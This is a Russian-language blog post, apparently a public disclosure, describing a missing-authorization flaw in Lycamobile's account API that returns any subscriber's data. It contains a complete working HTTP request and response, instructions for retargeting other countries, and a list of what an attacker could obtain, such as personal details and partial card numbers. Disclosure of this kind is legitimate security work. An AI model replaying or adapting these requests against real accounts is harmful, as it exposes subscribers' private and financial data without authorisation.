Уязвимость в Web API Lycamobile позволяет управлять любым номером оператора +39
Информационная безопасность, Разработка под Android, .NET, Реверс-инжиниринг, API
Рекомендация: подборка платных и бесплатных курсов Python - https://katalog-kursov.ru/
Доброго времени суток. Меня зовут
Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps. В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.
Немного цифр.
Lycamobile работает в
21 стране мира, капитализация
€1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.
Команды API можно узнать там же на сервере по адресу
maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:
POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1
X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c
Content-Type: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;)
Host: maccount.lycamobile.co.uk
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр)
Cookie2: $Version=1
Content-Length: 84
{"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}
А в ответ на придет что-то вроде:
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 106
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 May 2017 20:57:58 GMT
Proxy-Connection: Keep-alive
{"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}
Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.
С помощью данной уязвимости можно например узнать
личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.
Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.
Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
-->
К сожалению, не доступен сервер mySQL